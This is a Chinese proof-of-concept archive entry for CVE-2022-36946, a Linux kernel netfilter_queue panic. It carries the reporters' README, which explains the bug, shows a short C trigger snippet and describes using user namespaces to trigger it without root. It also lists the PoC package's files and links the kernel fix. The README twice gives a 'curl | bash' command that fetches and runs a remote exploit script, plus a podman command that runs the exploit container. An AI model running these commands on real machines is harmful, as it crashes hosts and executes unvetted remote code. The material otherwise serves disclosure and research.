POC详情: 909092355f04a7d5c65c953ba34e4a9574a0b5e1

来源
关联漏洞
标题: Linux kernel 安全漏洞 (CVE-2022-36946)
描述:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 5.18.14及以前版本存在安全漏洞,该漏洞源于net/netfilter/nfnetlink_queue.c中的nfqnl_mangle允许远程攻击者造成拒绝服务(panic),因为在nf_queue判决中使用一个字节的nfta_payload属性时,skb_pull可能会遇到一个负的skb->len。。
描述
CVE-2022-36946 linux kernel panic in netfilter_queue
介绍
# CVE-2022-36946

Reported-by: Domingo Dirutigliano and Nicola Guerrera

While we were working on [firegex](https://github.com/Pwnzer0tt1/firegex), our application firewall for CTF Attack-Defence competitions, we stumbled upon a few kernel panics. 

This strange behavour was than isolated and anlayzed, leading to the discovery of this potential security flaw in the netfilter module, specifically with nfnetlink.

# How does it work?

The kernel panics when sending nf\_queue verdict with 0-byte nfta\_payload attribute.

```
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
```

This happens because the IP/IPv6 stack pulls the IP(v6) header from the packet after the input hook.

So, if user truncates the packet below the header size, this skb\_pull() will result in a malformed skb resulting in a panic. 

Try it executing `curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash` also with an unprivilaged user (more details below).

# Do we *really* need root...?

Using linux namespaces, in particular user namespaces (enabled via `kernel.unprivileged_userns_clone=1`), a normal user is able 
to create a network namespace, enabling them to use the same kernel primitives that trigger the panic.
This will allow you to use the vulnerability without having root.

This scenario is not uncommon: for example [podman](https://podman.io/) uses this option to run its (rootless) containers,
and on some distros this option is enabled by default.

You can also try to execute the exploit without root privileges executing:

```bash
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
```

or if you want to test it on-fly (only tar and curl are required to be installed):

```bash
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
```

# Fix up

Fixed in linux kernel 5.19 [view diff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/netfilter/nfnetlink_queue.c?id=v5.19&id2=v5.18)

Original patch by the linux kernel security team [here](https://marc.info/?l=netfilter-devel&m=165883202007292&w=2)

# Requirements for exploiting this vuln:

- A vulnerable linux kernel
- CAP\_NET\_ADMIN capability (also in a namespace)

# Why panic6?

It worked at the 6th attempt, so we kept the name.

# A new way to poweroff your PC:

![terminal_speed](https://user-images.githubusercontent.com/41539800/230730255-9046efde-4155-4e4d-934b-8a555cd72327.gif)

# Presentation for DevFest-2023

[https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing](https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing)
文件快照

[4.0K] /data/pocs/909092355f04a7d5c65c953ba34e4a9574a0b5e1 ├── [4.0K] amd64 │   ├── [776K] ip │   ├── [223K] iptables │   ├── [211K] ld-linux.so.1 │   ├── [366K] libbpf.so.1 │   ├── [ 42K] libcap.so.2 │   ├── [2.3M] libc.so.6 │   ├── [110K] libelf.so.1 │   ├── [711K] libgcc_s.so.1 │   ├── [ 26K] libmnl.so.0 │   ├── [942K] libm.so.6 │   ├── [ 33K] libnetfilter_queue.so.1 │   ├── [ 33K] libnfnetlink.so.0 │   ├── [207K] libnftnl.so.11 │   ├── [ 21M] libstdc++.so.6 │   ├── [ 66K] libxtables.so.12 │   ├── [ 98K] libz.so.1 │   ├── [842K] libzstd.so.1 │   ├── [ 17K] nfpanic │   └── [4.0K] xtables │   ├── [ 14K] libarpt_mangle.so │   ├── [ 14K] libebt_802_3.so │   ├── [ 14K] libebt_among.so │   ├── [ 14K] libebt_arpreply.so │   ├── [ 14K] libebt_arp.so │   ├── [ 14K] libebt_dnat.so │   ├── [ 22K] libebt_ip6.so │   ├── [ 26K] libebt_ip.so │   ├── [ 14K] libebt_log.so │   ├── [ 14K] libebt_mark_m.so │   ├── [ 14K] libebt_mark.so │   ├── [ 14K] libebt_nflog.so │   ├── [ 14K] libebt_pkttype.so │   ├── [ 14K] libebt_redirect.so │   ├── [ 14K] libebt_snat.so │   ├── [ 14K] libebt_stp.so │   ├── [ 14K] libebt_vlan.so │   ├── [ 14K] libip6t_ah.so │   ├── [ 14K] libip6t_DNPT.so │   ├── [ 14K] libip6t_dst.so │   ├── [ 14K] libip6t_eui64.so │   ├── [ 14K] libip6t_frag.so │   ├── [ 14K] libip6t_hbh.so │   ├── [ 14K] libip6t_HL.so │   ├── [ 14K] libip6t_icmp6.so │   ├── [ 14K] libip6t_ipv6header.so │   ├── [ 14K] libip6t_mh.so │   ├── [ 14K] libip6t_NETMAP.so │   ├── [ 14K] libip6t_REJECT.so │   ├── [ 14K] libip6t_rt.so │   ├── [ 14K] libip6t_SNPT.so │   ├── [ 18K] libip6t_srh.so │   ├── [ 14K] libipt_ah.so │   ├── [ 14K] libipt_CLUSTERIP.so │   ├── [ 14K] libipt_ECN.so │   ├── [ 14K] libipt_icmp.so │   ├── [ 14K] libipt_NETMAP.so │   ├── [ 14K] libipt_realm.so │   ├── [ 14K] libipt_REJECT.so │   ├── [ 14K] libipt_TTL.so │   ├── [ 14K] libipt_ULOG.so │   ├── [ 14K] libxt_addrtype.so │   ├── [ 14K] libxt_AUDIT.so │   ├── [ 14K] libxt_bpf.so │   ├── [ 14K] libxt_cgroup.so │   ├── [ 14K] libxt_CHECKSUM.so │   ├── [ 14K] libxt_CLASSIFY.so │   ├── [ 14K] libxt_cluster.so │   ├── [ 14K] libxt_comment.so │   ├── [ 14K] libxt_connbytes.so │   ├── [ 14K] libxt_connlabel.so │   ├── [ 15K] libxt_connlimit.so │   ├── [ 14K] libxt_CONNMARK.so │   ├── [ 14K] libxt_CONNSECMARK.so │   ├── [ 36K] libxt_conntrack.so │   ├── [ 14K] libxt_cpu.so │   ├── [ 19K] libxt_CT.so │   ├── [ 14K] libxt_dccp.so │   ├── [ 14K] libxt_devgroup.so │   ├── [ 12] libxt_DNAT.so │   ├── [ 14K] libxt_DSCP.so │   ├── [ 14K] libxt_ecn.so │   ├── [ 14K] libxt_esp.so │   ├── [ 35K] libxt_hashlimit.so │   ├── [ 14K] libxt_helper.so │   ├── [ 14K] libxt_HMARK.so │   ├── [ 14K] libxt_IDLETIMER.so │   ├── [ 14K] libxt_ipcomp.so │   ├── [ 14K] libxt_iprange.so │   ├── [ 14K] libxt_ipvs.so │   ├── [ 14K] libxt_LED.so │   ├── [ 14K] libxt_length.so │   ├── [ 14K] libxt_limit.so │   ├── [ 15K] libxt_LOG.so │   ├── [ 14K] libxt_mac.so │   ├── [ 14K] libxt_MARK.so │   ├── [ 12] libxt_MASQUERADE.so │   ├── [ 19K] libxt_multiport.so │   ├── [ 28K] libxt_NAT.so │   ├── [ 14K] libxt_nfacct.so │   ├── [ 14K] libxt_NFLOG.so │   ├── [ 15K] libxt_NFQUEUE.so │   ├── [ 11] libxt_NOTRACK.so │   ├── [ 14K] libxt_osf.so │   ├── [ 18K] libxt_owner.so │   ├── [ 14K] libxt_physdev.so │   ├── [ 14K] libxt_pkttype.so │   ├── [ 14K] libxt_policy.so │   ├── [ 14K] libxt_quota.so │   ├── [ 14K] libxt_RATEEST.so │   ├── [ 18K] libxt_recent.so │   ├── [ 12] libxt_REDIRECT.so │   ├── [ 14K] libxt_rpfilter.so │   ├── [ 26K] libxt_sctp.so │   ├── [ 14K] libxt_SECMARK.so │   ├── [ 23K] libxt_SET.so │   ├── [ 12] libxt_SNAT.so │   ├── [ 15K] libxt_socket.so │   ├── [ 14K] libxt_standard.so │   ├── [ 18] libxt_state.so │   ├── [ 14K] libxt_statistic.so │   ├── [ 14K] libxt_string.so │   ├── [ 14K] libxt_SYNPROXY.so │   ├── [ 14K] libxt_TCPMSS.so │   ├── [ 14K] libxt_TCPOPTSTRIP.so │   ├── [ 14K] libxt_tcp.so │   ├── [ 14K] libxt_TEE.so │   ├── [ 22K] libxt_time.so │   ├── [ 14K] libxt_TOS.so │   ├── [ 14K] libxt_TPROXY.so │   ├── [ 14K] libxt_TRACE.so │   ├── [ 14K] libxt_u32.so │   └── [ 14K] libxt_udp.so ├── [4.0K] arm64 │   ├── [693K] ip │   ├── [263K] iptables │   ├── [183K] ld-linux.so.1 │   ├── [306K] libbpf.so.0 │   ├── [ 79K] libbsd.so.0 │   ├── [ 34K] libcap.so.2 │   ├── [1.6M] libc.so.6 │   ├── [114K] libelf.so.1 │   ├── [ 42K] libmd.so.0 │   ├── [ 22K] libmnl.so.0 │   ├── [ 26K] libnetfilter_queue.so.1 │   ├── [ 26K] libnfnetlink.so.0 │   ├── [193K] libnftnl.so.11 │   ├── [ 66K] libxtables.so.12 │   ├── [102K] libz.so.1 │   ├── [ 18K] nfpanic │   └── [4.0K] xtables │   ├── [ 66K] libarpt_mangle.so │   ├── [ 66K] libebt_802_3.so │   ├── [ 66K] libebt_among.so │   ├── [ 66K] libebt_arpreply.so │   ├── [ 66K] libebt_arp.so │   ├── [ 66K] libebt_dnat.so │   ├── [ 66K] libebt_ip6.so │   ├── [ 66K] libebt_ip.so │   ├── [ 66K] libebt_log.so │   ├── [ 66K] libebt_mark_m.so │   ├── [ 66K] libebt_mark.so │   ├── [ 66K] libebt_nflog.so │   ├── [ 66K] libebt_pkttype.so │   ├── [ 66K] libebt_redirect.so │   ├── [ 66K] libebt_snat.so │   ├── [ 66K] libebt_stp.so │   ├── [ 66K] libebt_vlan.so │   ├── [ 66K] libip6t_ah.so │   ├── [ 66K] libip6t_DNPT.so │   ├── [ 66K] libip6t_dst.so │   ├── [ 66K] libip6t_eui64.so │   ├── [ 66K] libip6t_frag.so │   ├── [ 66K] libip6t_hbh.so │   ├── [ 66K] libip6t_HL.so │   ├── [ 66K] libip6t_icmp6.so │   ├── [ 66K] libip6t_ipv6header.so │   ├── [ 66K] libip6t_mh.so │   ├── [ 66K] libip6t_NETMAP.so │   ├── [ 66K] libip6t_REJECT.so │   ├── [ 66K] libip6t_rt.so │   ├── [ 66K] libip6t_SNPT.so │   ├── [ 66K] libip6t_srh.so │   ├── [ 66K] libipt_ah.so │   ├── [ 66K] libipt_CLUSTERIP.so │   ├── [ 66K] libipt_ECN.so │   ├── [ 66K] libipt_icmp.so │   ├── [ 66K] libipt_NETMAP.so │   ├── [ 66K] libipt_realm.so │   ├── [ 66K] libipt_REJECT.so │   ├── [ 66K] libipt_TTL.so │   ├── [ 66K] libipt_ULOG.so │   ├── [ 66K] libxt_addrtype.so │   ├── [ 66K] libxt_AUDIT.so │   ├── [ 66K] libxt_bpf.so │   ├── [ 67K] libxt_cgroup.so │   ├── [ 66K] libxt_CHECKSUM.so │   ├── [ 66K] libxt_CLASSIFY.so │   ├── [ 66K] libxt_cluster.so │   ├── [ 66K] libxt_comment.so │   ├── [ 66K] libxt_connbytes.so │   ├── [ 66K] libxt_connlabel.so │   ├── [ 67K] libxt_connlimit.so │   ├── [ 66K] libxt_CONNMARK.so │   ├── [ 66K] libxt_CONNSECMARK.so │   ├── [ 68K] libxt_conntrack.so │   ├── [ 66K] libxt_cpu.so │   ├── [ 67K] libxt_CT.so │   ├── [ 66K] libxt_dccp.so │   ├── [ 66K] libxt_devgroup.so │   ├── [ 12] libxt_DNAT.so -> libxt_NAT.so │   ├── [ 66K] libxt_DSCP.so │   ├── [ 66K] libxt_ecn.so │   ├── [ 66K] libxt_esp.so │   ├── [ 67K] libxt_hashlimit.so │   ├── [ 66K] libxt_helper.so │   ├── [ 66K] libxt_HMARK.so │   ├── [ 66K] libxt_IDLETIMER.so │   ├── [ 66K] libxt_ipcomp.so │   ├── [ 67K] libxt_iprange.so │   ├── [ 66K] libxt_ipvs.so │   ├── [ 66K] libxt_LED.so │   ├── [ 66K] libxt_length.so │   ├── [ 66K] libxt_limit.so │   ├── [ 67K] libxt_LOG.so │   ├── [ 66K] libxt_mac.so │   ├── [ 66K] libxt_MARK.so │   ├── [ 12] libxt_MASQUERADE.so -> libxt_NAT.so │   ├── [ 67K] libxt_multiport.so │   ├── [ 68K] libxt_NAT.so │   ├── [ 66K] libxt_nfacct.so │   ├── [ 66K] libxt_NFLOG.so │   ├── [ 67K] libxt_NFQUEUE.so │   ├── [ 11] libxt_NOTRACK.so -> libxt_CT.so │   ├── [ 66K] libxt_osf.so │   ├── [ 67K] libxt_owner.so │   ├── [ 66K] libxt_physdev.so │   ├── [ 66K] libxt_pkttype.so │   ├── [ 66K] libxt_policy.so │   ├── [ 66K] libxt_quota.so │   ├── [ 66K] libxt_RATEEST.so │   ├── [ 67K] libxt_recent.so │   ├── [ 12] libxt_REDIRECT.so -> libxt_NAT.so │   ├── [ 66K] libxt_rpfilter.so │   ├── [ 66K] libxt_sctp.so │   ├── [ 66K] libxt_SECMARK.so │   ├── [ 67K] libxt_SET.so │   ├── [ 12] libxt_SNAT.so -> libxt_NAT.so │   ├── [ 67K] libxt_socket.so │   ├── [ 66K] libxt_standard.so │   ├── [ 18] libxt_state.so -> libxt_conntrack.so │   ├── [ 66K] libxt_statistic.so │   ├── [ 66K] libxt_string.so │   ├── [ 66K] libxt_SYNPROXY.so │   ├── [ 66K] libxt_TCPMSS.so │   ├── [ 66K] libxt_TCPOPTSTRIP.so │   ├── [ 66K] libxt_tcp.so │   ├── [ 66K] libxt_TEE.so │   ├── [ 66K] libxt_time.so │   ├── [ 66K] libxt_TOS.so │   ├── [ 67K] libxt_TPROXY.so │   ├── [ 66K] libxt_TRACE.so │   ├── [ 66K] libxt_u32.so │   └── [ 66K] libxt_udp.so ├── [ 236] Dockerfile ├── [3.1K] panic6.c ├── [3.2K] panic6_podman.c ├── [4.4K] panic6_rootless.c ├── [2.7K] README.md └── [ 303] run.sh 4 directories, 266 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。